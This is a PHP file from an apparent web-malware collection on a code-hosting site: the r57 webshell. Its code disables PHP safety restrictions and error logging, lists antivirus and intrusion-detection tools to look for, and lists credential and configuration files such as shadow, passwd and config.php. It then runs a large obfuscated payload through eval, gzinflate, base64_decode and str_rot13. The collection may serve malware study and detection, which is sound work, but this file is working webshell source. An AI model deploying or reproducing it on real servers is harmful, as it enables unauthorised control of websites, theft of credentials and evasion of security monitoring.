webshell/web-malware-collection-13-06-2012/PHP/r57142.php

42 lines
56 KiB
PHP
Raw Normal View History

2013-06-05 04:08:30 +00:00
<?php
$language='eng';
$auth = 0;
$name='xxx';
$pass='xxx';
@setlocale(LC_ALL,'ru_RU.cp1251');
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
if(@function_exists('ini_set'))
{
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('file_uploads',1);
@ini_set('allow_url_fopen',1);
}
else
{
@ini_alter('error_log',NULL);
@ini_alter('log_errors',0);
@ini_alter('file_uploads',1);
@ini_alter('allow_url_fopen',1);
}
error_reporting(E_ALL);
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm',
'tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing','Windows',
'Documents and Settings','Program Files','boot.ini','apache');
eval(gzinflate(base64_decode(str_rot13('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